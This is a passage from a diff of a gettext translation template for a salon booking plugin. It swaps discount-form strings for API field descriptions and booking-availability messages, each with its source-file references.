System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:547\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:501\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:359\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:547\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:501\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:359\n+msgid \"The unit for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:28\n-msgid \"%\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:384\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:403\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:384\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:403\n+msgid \"The usage limit for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:34\n-msgid \"Type the amount of this discount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:412\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:431\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:412\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:431\n+msgid \"The user usage limit for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:37\n-msgid \"Maximum uses limit\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:392\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:411\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:392\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:411\n+msgid \"The valid from date for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:39, views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:65, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:65, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:65\n-msgid \"Leave it blank for an unlimited times of usage\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:402\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:421\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:402\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:421\n+msgid \"The valid to date for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:63, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:63, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:63\n-msgid \"Per single user limit\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1880\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:155\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1880\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:155\n+msgid \"The value\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:71, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:71, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:71\n-msgid \"Limit this discount to the following services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:547\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:677\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:614\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:631\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:547\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:677\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:614\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:631\n+msgid \"The wednesday.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:86, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:86, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:86\n-msgid \"Leave it blank if you want to be applied to all services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:132\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:132\n+msgid \"There are no free time slots on this day\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:90, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:90, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:90\n-msgid \"Limit this discount to the assistants\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:177\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:177\n+msgid \"\"\n+\"There are no time slots available for this period - Please select a  \"\n+\"different hour\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:105, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:105, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:105\n-msgid \"Leave it blank if you want to be applied to all assistants\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:170\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:170\n+msgid \"There are no time slots available today - Please select a different day\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:110, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:110, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:110, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:110, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:110, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:110\n-msgid \"Limit this discount to the following shops\"\n+#. %1$s will be replaced by the service name, %2$s will be replaced by the service count multiple attendants\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:210\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:105\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:210\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:210\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:105\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:210\n+#, php-format\n+msgid \"\"\n+\"There are not enough attendants for %1$s service. Required for the service: \"\n+\"%2$s\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:125, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:125, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:125\n-msgid \"Leave it blank if you want to be applied to all shops\"\n+#. %1$s will be replaced by the version name, %2$s will be replaced by the changelog link, %3$s will be replaced by the new version, %4$s will be replaced by the link update\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FProcessor.php:160\n+#, php-format\n+msgid \"\"\n+\"There is a new version of %1$s available. \u003Ca target=\\\"_blank\\\" \"\n+\"class=\\\"thickbox\\\" href=\\\"%2$s\\\">View version %3$s details\u003C\u002Fa> or \u003Ca \"\n+\"href=\\\"%4$s\\\">update now\u003C\u002Fa>.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:129, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:129, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:129\n-msgid \"Notify this discout by email.\"\n+#. %1$s will be replaced by the version name, %2$s will be replaced by the changelog link, %3$s will be replaced by the new version\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FProcessor.php:149\n+#, php-format\n+msgid \"\"\n+\"There is a new version of %1$s available. \u003Ca target=\\\"_blank\\\" \"\n+\"class=\\\"thickbox\\\" href=\\\"%2$s\\\">View version %3$s details\u003C\u002Fa>.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:135, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:135, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:135\n-msgid \"Hide from Booking My Account\"\n+#. s%1$ will be replaced by service name, s%1$ will be replaced by booking time\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:145\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:145\n+#, php-format\n+msgid \"There is no attendants available for %1$s service at %2$s\"\n msgstr \"\"\n \n-#. translators: %d: name of the total usages number\n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_history.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_history.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_history.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_history.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_history.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_history.php:16\n-msgid \"Total usage ( %d )\"\n+#. s%1$ will be replaced by service name, %2$s will be replaced by booking time\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:128\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:128\n+#, php-format\n+msgid \"There is no resources available for %1$s service at %2$s\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:9\n-msgid \"AVAILABLE DISCOUNTS\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:280\n+#: 